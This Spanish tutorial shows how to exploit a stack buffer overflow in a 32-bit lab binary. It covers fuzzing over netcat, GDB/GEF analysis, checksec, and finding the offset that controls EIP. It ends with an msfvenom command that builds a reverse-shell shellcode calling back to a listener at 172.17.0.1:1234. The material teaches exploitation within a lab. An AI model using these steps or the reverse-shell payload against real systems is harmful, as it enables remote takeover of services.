> For the complete documentation index, see [llms.txt](https://novahacking.gitbook.io/anonymous17/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://novahacking.gitbook.io/anonymous17/articulos/introduccion-al-buffer-overflow.md).

# Introducción al Buffer Overflow

TAG -> Artículos

En este artículo explico una metodología básica para analizar binarios **ELF** en Linux, identificar vulnerabilidades de memoria como un **Buffer Overflow** y comprender su explotación en un **laboratorio autorizado**. Trabajaremos con `secure_software`, un ejecutable **i386 de 32 bits**, para estudiar el **stack**, los registros **EBP, EIP y ESP**, el cálculo del **offset** y la construcción de un **payload**.

## <mark style="color:green;">Paso 1</mark>

Primero debemos identificar **qué tipo de binario** vamos a analizar. El comando `file` permite examinar su formato y arquitectura sin ejecutarlo:

```bash
file secure_software
```

<mark style="color:red;">**Resultado**</mark>

```bash
secure_software: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=1badf7bdd2ab6ae00b8c3b1f965fca6048d32478, for GNU/Linux 3.2.0, not stripped
```

La salida identifica un ejecutable **ELF de 32 bits** para **Intel 80386 (i386)**, con orden de bytes **little-endian** y enlazado dinámicamente mediante `/lib/ld-linux.so.2`. El resultado `not stripped` indica que conserva símbolos, aunque **no garantiza disponer de información de depuración completa**.

## <mark style="color:green;">Paso 2</mark>

Ahora ejecutaremos el binario para comprobar **qué hace**. Debemos verificar previamente sus permisos de ejecución y realizar la prueba en un **entorno controlado**, porque todavía desconocemos todo su comportamiento.

```bash
./secure_software
```

<mark style="color:red;">**Resultado**</mark>

```bash
Listening at 0.0.0.0:20201!
```

Si no obtenemos suficiente información al ejecutarlo, podemos utilizar `strace` para observar las **llamadas al sistema** y averiguar, por ejemplo, si abre un socket o un puerto de escucha:

```bash
strace ./secure_software
```

<mark style="color:red;">**Resultado**</mark>

```php
strace: Symbol `_UPT_accessors' has different size in shared object, consider re-linking
execve("./secure_software", ["./secure_software"], 0x7fff92e7b060 /* 26 vars */) = 0
[ Process PID=372 runs in 32 bit mode. ]
brk(NULL)                               = 0x9d94000
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf244a000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
statx(3, "", AT_STATX_SYNC_AS_STAT|AT_NO_AUTOMOUNT|AT_EMPTY_PATH, STATX_BASIC_STATS, {stx_mask=STATX_BASIC_STATS|STATX_MNT_ID, stx_attributes=0, stx_mode=S_IFREG|0644, stx_size=88066, ...}) = 0
mmap2(NULL, 88066, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf2434000
close(3)                                = 0
openat(AT_FDCWD, "/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\200O\2\0004\0\0\0"..., 512) = 512
statx(3, "", AT_STATX_SYNC_AS_STAT|AT_NO_AUTOMOUNT|AT_EMPTY_PATH, STATX_BASIC_STATS, {stx_mask=STATX_BASIC_STATS|STATX_MNT_ID, stx_attributes=0, stx_mode=S_IFREG|0755, stx_size=2327292, ...}) = 0
mmap2(NULL, 2361552, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xf21f3000
mmap2(0xf2216000, 1622016, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x23000) = 0xf2216000
mmap2(0xf23a2000, 544768, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1af000) = 0xf23a2000
mmap2(0xf2427000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x234000) = 0xf2427000
mmap2(0xf242a000, 39120, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xf242a000
close(3)                                = 0
set_thread_area({entry_number=-1, base_addr=0xf244b4c0, limit=0x0fffff, seg_32bit=1, contents=0, read_exec_only=0, limit_in_pages=1, seg_not_present=0, useable=1}) = 0 (entry_number=12)
set_tid_address(0xf244b528)             = 372
set_robust_list(0xf244b52c, 12)         = 0
rseq(0xf244b960, 0x20, 0, 0x53053053)   = 0
mprotect(0xf2427000, 8192, PROT_READ)   = 0
mprotect(0x804b000, 4096, PROT_READ)    = 0
mprotect(0xf2485000, 8192, PROT_READ)   = 0
ugetrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0
munmap(0xf2434000, 88066)               = 0
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEPORT, [1], 4) = 0
bind(3, {sa_family=AF_INET, sin_port=htons(20201), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 3)                            = 0
statx(1, "", AT_STATX_SYNC_AS_STAT|AT_NO_AUTOMOUNT|AT_EMPTY_PATH, STATX_BASIC_STATS, {stx_mask=STATX_BASIC_STATS|STATX_MNT_ID, stx_attributes=0, stx_mode=S_IFCHR|0620, stx_size=0, ...}) = 0
getrandom("\xec\x81\xad\x36", 4, GRND_NONBLOCK) = 4
brk(NULL)                               = 0x9d94000
brk(0x9db5000)                          = 0x9db5000
brk(0x9db6000)                          = 0x9db6000
write(1, "Listening at 0.0.0.0:20201!\n", 28Listening at 0.0.0.0:20201!
) = 28
accept(3, 
```

`strace` nos permite observar las llamadas al sistema y sus argumentos. Aunque el ejecutable no indique expresamente el puerto, podemos identificar `sin_port=htons(20201)` y `sin_addr=inet_addr("0.0.0.0")`: estos datos muestran el **puerto 20201** y una dirección de escucha que abarca las **interfaces IPv4** disponibles. Para conectarnos emplearemos una dirección concreta del sistema, como `127.0.0.1` si estamos trabajando en el mismo equipo.

### <mark style="color:purple;">**Adicional**</mark>

También podemos comprobar **qué bibliotecas compartidas** utiliza el ejecutable mediante el siguiente comando:

```js
ldd secure_software
```

<mark style="color:red;">**Resultado**</mark>

```js
	linux-gate.so.1 (0xf4265000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf4008000)
	/lib/ld-linux.so.2 (0xf4267000)
```

Esto nos ayuda a localizar las dependencias y comprobar si falta alguna. Conviene tener precaución con `ldd` sobre binarios desconocidos, ya que puede involucrar al cargador dinámico; `readelf` permite consultar metadatos del ejecutable de forma estática.

## <mark style="color:green;">Paso 3</mark>

Una vez identificado el servicio, podemos empezar a interactuar con el binario mediante **Netcat (`nc`)**, conectándonos al puerto **20201**:

```js
nc 127.0.0.1 20201
```

<mark style="color:red;">**Resultado**</mark>

```js
Enter data: 
```

El servicio nos permite introducir datos para comprobar cómo procesa las entradas.

```js
Enter data: Test 1    
Data received correctly
```

Como observamos, la entrada breve se procesa sin un comportamiento anómalo evidente. Podemos continuar con la clásica `AAA` y aumentar después su longitud.

```js
Enter data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

Al enviar una entrada mucho más extensa podemos observar el siguiente comportamiento del programa:

```js
-> ./secure_software
Listening at 0.0.0.0:20201!
Segmentation fault (core dumped)
```

Este comportamiento constituye un **indicio de un posible Buffer Overflow**, pero un **segmentation fault no demuestra por sí solo** que exista un desbordamiento ni que podamos controlar el flujo de ejecución. Para confirmarlo debemos inspeccionar los registros y la memoria.

> Un **buffer overflow** ocurre cuando un programa **escribe más datos de los que caben en un buffer** y sobrescribe memoria adyacente. Dependiendo de los datos afectados, puede causar corrupción de memoria, un fallo de segmentación y, en ciertas condiciones, permitir redirigir la ejecución. **No todo desbordamiento alcanza la dirección de retorno ni resulta explotable**.

En este caso ejecuté `secure_software`, que escucha en el puerto **20201**, y me conecté mediante `nc`. Al enviar una cadena larga de **"A"**, el programa terminó con un **segmentation fault**, señal de un acceso inválido a memoria. Aunque es compatible con un desbordamiento, debemos comprobar con GDB **qué zona de memoria se corrompió** y si se alcanzó la dirección de retorno.

Estas vulnerabilidades pueden ser críticas cuando afectan a datos de control del **stack** y permiten modificar la dirección de retorno. Entre las técnicas relacionadas se encuentran **ret2libc** y **ROP (Return-Oriented Programming)**, que reutilizan instrucciones existentes. Si la región de memoria es ejecutable y se cumplen las demás condiciones, también puede utilizarse **shellcode**. La posibilidad de explotación depende de la arquitectura, la vulnerabilidad y las mitigaciones.

**En resumen:** envié una entrada mayor de la esperada y provoqué un fallo del programa. El siguiente paso es comprobar si podemos **sobrescribir EIP** y calcular el **offset exacto**, sin asumir que cualquier caída del proceso es explotable.

## <mark style="color:green;">Paso 4</mark>

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2F5YUGnKb3eOeOVbydqByx%2Fejemplo_1_buffer_overflow.png?alt=media&amp;token=66e38281-bd1a-4cda-a68f-d3969e57fb48" alt=""><figcaption></figcaption></figure>

La imagen representa, de forma simplificada, cómo ocurre un **Buffer Overflow en el stack** de un programa de **32 bits**. El diseño exacto del marco de pila depende de la función, del compilador y de la convención de llamada, pero el esquema permite comprender la relación entre el **buffer**, **EBP** y **RET**.

### <mark style="color:purple;">**Explicación de la imagen**</mark>

1. <mark style="color:yellow;">**Izquierda (Estado normal de la pila)**</mark>
   * En x86, el **stack** suele crecer hacia **direcciones de memoria menores** cuando se reserva nuevo espacio.
   * Dentro del marco de la función pueden almacenarse **variables locales**. Las letras **AAAA** representan datos controlados por el usuario.
   * El **EBP (Extended Base Pointer)** puede utilizarse como referencia del marco de pila de la función; algunos compiladores omiten ese uso.
   * Se guarda la **dirección de retorno (RET)**, que indica el punto al que debe volver el programa al finalizar la función. Si se ejecuta `ret`, el procesador utiliza esa dirección para continuar.
   * Dependiendo de la convención de llamada, también pueden encontrarse **parámetros de la función** en el stack.
2. <mark style="color:yellow;">**Derecha (Buffer Overflow)**</mark>
   * Se introdujeron más datos de los que cabían en el buffer, representados por **AAAA** en rojo.
   * En este esquema, la entrada sobrescribe valores contiguos, incluido el **EBP guardado** y la **dirección de retorno (RET)**. Poder alcanzarlos depende de la disposición y del tamaño del buffer.
   * Si logramos controlar **RET** y se cumplen las condiciones necesarias, podemos **redirigir el flujo de ejecución**. Debemos verificarlo mediante depuración, no asumirlo por el simple fallo.

### <mark style="color:purple;">**Usando**</mark><mark style="color:purple;">**&#x20;**</mark><mark style="color:purple;">**`gdb`**</mark>

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FCFXEZCw6ViwVzsWTjn8z%2Fejemplo_2_buffer_overflow.png?alt=media&amp;token=1a7f007b-1a4d-4c9d-835e-00a6cb75a1af" alt=""><figcaption></figcaption></figure>

Para ejecutar el binario dentro de **GDB** y observar sus registros y su memoria, realizamos lo siguiente:

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FagJ2Fs37fROpYAk0Flv7%2Fejemplo_3_buffer_overflow.png?alt=media&amp;token=154dabab-ce82-42ac-847e-491495ebcaa2" alt=""><figcaption></figcaption></figure>

Volvemos a interactuar con el ejecutable y enviamos la misma secuencia extensa de **A**. Esta vez observaremos **qué registros resultan sobrescritos** desde GDB/GEF, lo que nos ayudará a comprender el fallo:

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2F8ZKCd9COwNnKInuPEMZi%2Fejemplo_4_buffer_overflow.png?alt=media&amp;token=202355b4-73a3-43a0-aec1-65a082033a17" alt=""><figcaption></figcaption></figure>

En la salida de GDB podemos observar los valores afectados por la entrada y comprobar la corrupción del estado del programa:

```js
$ebp   : 0x41414141 ("AAAA"?)
```

El registro **`$ebp`** contiene `0x41414141`, equivalente a cuatro letras **A** (`0x41` en ASCII), lo que demuestra que hemos sobrescrito ese valor. También analizamos **`$eip` (Extended Instruction Pointer)**, que indica la dirección de la siguiente instrucción en **x86 de 32 bits**. No debemos confundir **EIP** con la etiqueta **RET** de la representación gráfica: RET hace referencia a la dirección de retorno guardada, que puede terminar cargándose en EIP.

## <mark style="color:green;">Paso 5</mark>

### <mark style="color:purple;">**Analizar protecciones de seguridad**</mark>

`checksec` permite identificar **mitigaciones de seguridad** de un ejecutable **ELF**, como **RELRO, stack canary, NX, PIE** y algunos mecanismos de fortificación. Debemos distinguir estos indicadores de **ASLR**, cuya configuración y comportamiento dependen también del sistema operativo. Su resultado describe mitigaciones: **no confirma por sí mismo la existencia de una vulnerabilidad**.

### <mark style="color:purple;">**Explicación de las protecciones**</mark>

* <mark style="color:yellow;">**RELRO (Relocation Read-Only)**</mark>
  * `FULL RELRO`: una vez realizadas las relocalizaciones, protege la **GOT (Global Offset Table)** frente a modificaciones durante la ejecución.
  * `Partial RELRO`: aplica protección parcial, pero **no necesariamente deja toda la GOT como memoria de solo lectura**.
  * `No RELRO`: indica que esta mitigación no está habilitada.
* <mark style="color:yellow;">**STACK CANARY**</mark>
  * Utiliza un valor de comprobación (**canary**) en el stack para **detectar determinadas sobrescrituras antes del retorno de una función**; no impide toda corrupción de memoria.
  * `No canary found`: no se detecta un **stack canary** en el binario analizado. Esto no confirma por sí mismo que haya un desbordamiento.
* <mark style="color:yellow;">**NX (No eXecute)**</mark>
  * `NX enabled`: la configuración busca impedir que se ejecuten instrucciones en regiones de memoria **sin permiso de ejecución**, como suele ocurrir con el stack.
  * `NX disabled`: la mitigación correspondiente no se encuentra habilitada o detectada; **no significa que cualquier página de memoria sea ejecutable**.
* <mark style="color:yellow;">**PIE (Position Independent Executable)**</mark>
  * `No PIE`: el ejecutable principal suele tener una **base de carga fija**, lo que facilita usar sus direcciones internas. Las bibliotecas y el stack pueden seguir afectados por **ASLR**.
  * `PIE enabled`: permite que la base del ejecutable principal se **aleatorice cuando el sistema tiene ASLR habilitado**.
* <mark style="color:yellow;">**FORTIFY\_SOURCE**</mark>
  * `Yes`: se detectan determinadas medidas de fortificación, pero **no se garantiza la ausencia de vulnerabilidades de memoria**.
  * `No`: el análisis no detecta esa medida de fortificación.

Podemos analizar estas protecciones de **dos formas**: desde **GDB con GEF** o desde la terminal mediante las herramientas de **pwntools**, tal como muestran los ejemplos:

<mark style="color:red;">**Usando gdb -> gef**</mark>

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FhVsPXZl6qb34ADdaZnsg%2Fejemplo_5_buffer_overflow.png?alt=media&amp;token=43756778-c972-45a8-ba06-0ddac5ea7b23" alt=""><figcaption></figcaption></figure>

<mark style="color:red;">**Usando pwn**</mark>

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FxJzdEFmnnq9feTcLYGtl%2Fejemplo_6_buffer_overflow.png?alt=media&amp;token=f9537e7b-da7d-4484-bffc-10adfb5674b0" alt=""><figcaption></figcaption></figure>

<mark style="color:red;">🔴 El binario presenta</mark> <mark style="color:red;">**mitigaciones débiles**</mark> <mark style="color:red;">para este laboratorio. Esto favorece algunas técnicas de explotación, aunque</mark> <mark style="color:red;">**no significa que**</mark><mark style="color:red;">**&#x20;**</mark><mark style="color:red;">**`checksec`**</mark><mark style="color:red;">**&#x20;**</mark><mark style="color:red;">**haya demostrado un Buffer Overflow**</mark><mark style="color:red;">.</mark>

* **Permite ejecución en la pila** → Si los permisos reales de esa región lo permiten, puede facilitar técnicas de **shellcode injection**.
* **No tiene Stack Canary** → No cuenta con esa comprobación de integridad, por lo que ciertos desbordamientos pueden pasar sin que se detecten mediante este mecanismo.
* **No tiene NX ni PIE** → Algunas direcciones y técnicas pueden ser **más predecibles**, pero todavía debemos comprobar el comportamiento de la memoria y de ASLR.
* **Tiene segmentos RWX** → Hay regiones con permisos de **lectura, escritura y ejecución**. Esto amplía la superficie de riesgo, aunque **no significa que todo el código sea modificable**.

#### <mark style="color:blue;">Información de seguridad más detallada:</mark>

| **Protección**                            | **Estado**                             | **Explicación**                                                                                                                                                                                                                                                                                     |
| ----------------------------------------- | -------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Arquitectura**                          | `i386-32-little`                       | El binario utiliza **arquitectura x86 de 32 bits** y representación **little-endian**. Esto determina el tamaño de los registros y el orden de los bytes, **no implica por sí solo que sea vulnerable**.                                                                                            |
| **RELRO**                                 | `Partial RELRO`                        | La **GOT** cuenta con una protección parcial. La posibilidad de modificar entradas concretas depende de los permisos y de cómo estén enlazadas.                                                                                                                                                     |
| **Canary**                                | `No canary found` / `✘`                | No se detecta un **stack canary**, por lo que falta esa comprobación específica. **Todavía debemos demostrar la sobrescritura** y no asumir que la explotación será automática.                                                                                                                     |
| **NX (No eXecute)**                       | `NX unknown - GNU_STACK missing` / `✘` | El binario **no presenta la información habitual de GNU\_STACK**, de modo que el indicador NX es **incierto**. En este laboratorio la herramienta también muestra el stack como ejecutable, pero esa observación debe distinguirse de una confirmación general sobre todas las regiones de memoria. |
| **PIE (Position Independent Executable)** | `No PIE (0x8048000)` / `✘`             | El ejecutable principal no es **PIE** y su base típica es `0x8048000`. Esto facilita localizar instrucciones internas, aunque **ASLR puede afectar a otras regiones**.                                                                                                                              |
| **Stack**                                 | `Executable`                           | La herramienta indica que el **stack es ejecutable en este escenario**, lo que puede permitir ejecutar **shellcode** situado en esa región si conseguimos redirigir EIP correctamente.                                                                                                              |
| **RWX Segments**                          | `Has RWX segments`                     | Hay segmentos con permisos de **lectura, escritura y ejecución (RWX)**. Esto supone un riesgo, pero **no significa que todas las páginas o secciones de código sean modificables**.                                                                                                                 |
| **Stripped**                              | `No`                                   | El ejecutable **conserva información de símbolos**, útil para identificar funciones, aunque no necesariamente dispone de símbolos de depuración detallados.                                                                                                                                         |

## <mark style="color:green;">Paso 6</mark>

En este paso utilizaremos `pattern create` de **GEF**, que en la salida del ejemplo genera un patrón cíclico de **1024 bytes**. A diferencia de una cadena formada únicamente por letras **A**, este patrón permite localizar con precisión la **posición u offset** en que se sobrescriben determinados valores, como la dirección de retorno que termina afectando a **EIP**.

Generamos el patrón porque necesitamos conocer **cuántos bytes de entrada** hay antes de llegar al valor que acabará cargándose en **EIP**. En un programa de **32 bits**, EIP contiene la dirección de la siguiente instrucción; en **64 bits**, el registro equivalente es **RIP**. Al provocar el fallo, analizamos el valor observado y utilizamos `pattern offset` para calcular el **desplazamiento exacto** dentro de la entrada. Este offset **no tiene por qué coincidir con el tamaño declarado del buffer**.

```js
pattern create
```

<mark style="color:red;">**Resultado**</mark>

```js
[+] Generating a pattern of 1024 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak
[+] Saved as '$_gef1'
```

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FiTWgUnIqe8u5g9sduA1u%2Fejemplo_7_buffer_overflow.png?alt=media&amp;token=cf4c9b86-e6c7-41d7-94bd-003b9e33f14f" alt=""><figcaption></figcaption></figure>

Volvemos a ejecutar el programa con `r` en **GDB** y enviamos como entrada el **patrón cíclico** que generó `pattern create`. Tras el fallo, consultamos el valor de **`$eip`**: en el ejemplo contiene cuatro bytes del patrón. Esta evidencia nos permite relacionar el registro con una posición concreta de la entrada.

```js
$eip   : 0x6461617a ("zaad"?)
```

Para ver de forma más clara dónde aparece esa secuencia, utilizamos `grep` sobre el patrón, como se muestra a continuación:

```bash
echo "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak" | grep zaad
```

<mark style="color:red;">**Resultado**</mark>

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2Fv8gH4OI7D5HnLTdSSbVP%2Fejemplo_8_buffer_overflow.png?alt=media&amp;token=cf5dcca4-9bbc-4bb5-beee-bf2bd1a9682e" alt=""><figcaption></figcaption></figure>

La parte resaltada en rojo muestra la secuencia del patrón asociada al valor que acabó en **`$eip`**. Todos los bytes anteriores constituyen el **offset necesario para alcanzar esa posición**. Podemos contarlos manualmente, pero es más fiable comprobarlos con `pattern offset`:

```js
pattern offset $eip
```

<mark style="color:red;">**Resultado**</mark>

```js
[+] Searching for '7a616164'/'6461617a' with period=4
[+] Found at offset 300 (little-endian search) likely
```

El resultado identifica un **offset de 300 bytes** para la sobrescritura de **EIP**. Eso significa que, con **300 bytes de relleno**, alcanzamos la posición de la dirección de retorno y que los **4 bytes siguientes** pueden convertirse en el nuevo valor de EIP en este binario de 32 bits. No significa necesariamente que el buffer local mida exactamente **300 bytes**. Vamos a verificarlo:

```python
python3 -c 'print("A"*300 + "B"*4 + "C"*100)'
```

<mark style="color:red;">**Resultado**</mark>

```bash
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
```

Con **Python** generamos **300 letras A**, añadimos **4 letras B** y finalmente **100 letras C**. La estructura de esta prueba es **300 A + 4 B + 100 C**. Al ejecutarla en GDB podemos comprobar si `BBBB` sobrescribe EIP y qué ocurre con los datos que llegan después:

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2Fuh2e3Wu5RcXJIAdSM9yc%2Fejemplo_9_buffer_overflow.png?alt=media&amp;token=c310c908-fd60-4e9d-a482-7c0cd2fd1240" alt=""><figcaption></figcaption></figure>

Como esperábamos, ahora el registro **`$eip`** contiene el siguiente valor:

```js
$eip   : 0x42424242 ("BBBB"?)
```

Con esta comprobación podemos afirmar que controlamos los **4 bytes de EIP** después de un **offset de 300 bytes**, ya que su valor pasa a ser `0x42424242` (**BBBB**). También observamos el registro **`$esp`**, que en este ejemplo apunta a la siguiente parte de nuestra entrada:

```js
$esp   : 0xffd4c7c0  →  "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
```

Podemos examinar el contenido de memoria señalado por **`$esp`** mediante el siguiente comando de GDB, que muestra palabras de **32 bits**:

```js
x/50wx $esp
```

<mark style="color:red;">**Resultado**</mark>

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FKtZqdKcwOgwtGuX1LzY7%2Fejemplo_10_buffer_overflow.png?alt=media&amp;token=682bc466-864a-4193-ae0f-d63d4c5e674c" alt=""><figcaption></figcaption></figure>

Los valores `0x43434343` representan cuatro letras **C** consecutivas, porque el byte ASCII `0x43` corresponde a la letra C. Si inspeccionamos también una posición **4 bytes antes**, podemos identificar dónde quedaron las letras B:

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2F3lIdW9Ar8SL4TSmxFA2M%2Fejemplo_11_buffer_overflow.png?alt=media&amp;token=359f44d3-c06d-4dc7-a7db-ba77b86a1efa" alt=""><figcaption></figcaption></figure>

Encontramos `0x42424242`, que representa nuestras **4 B**, inmediatamente antes de la región de **C**. Esto indica que, en la prueba mostrada, **`$esp` apunta a los datos colocados después de EIP**. Como la configuración del laboratorio muestra un stack ejecutable, podemos estudiar la posibilidad de sustituir esas C por un **shellcode** y redirigir EIP hacia su ubicación. **Que ESP apunte al payload no ejecuta el shellcode automáticamente**: todavía debemos controlar el salto y comprobar las mitigaciones aplicables.

## <mark style="color:green;">Paso 7</mark>

En este punto ya podemos comenzar a construir nuestro **exploit** para el laboratorio. La librería **pwntools** suele facilitar la interacción con binarios y sockets, pero aquí primero utilizaremos el módulo **`socket`** de Python para comprender mejor qué datos enviamos y en qué orden.

### <mark style="color:purple;">**Shellcode**</mark>

Un **shellcode** es una secuencia de **instrucciones de máquina** que se ejecuta si conseguimos desviar el flujo del programa hacia la dirección donde está almacenada. Históricamente recibe ese nombre porque muchos ejemplos obtenían una **shell**, pero también puede realizar otras operaciones. Debe ser compatible con la **arquitectura y el sistema operativo** del objetivo.

```js
msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.17.0.1 LPORT=1234 -b "\x00" -f py -v shellcode
```

<mark style="color:red;">**Resultado**</mark>

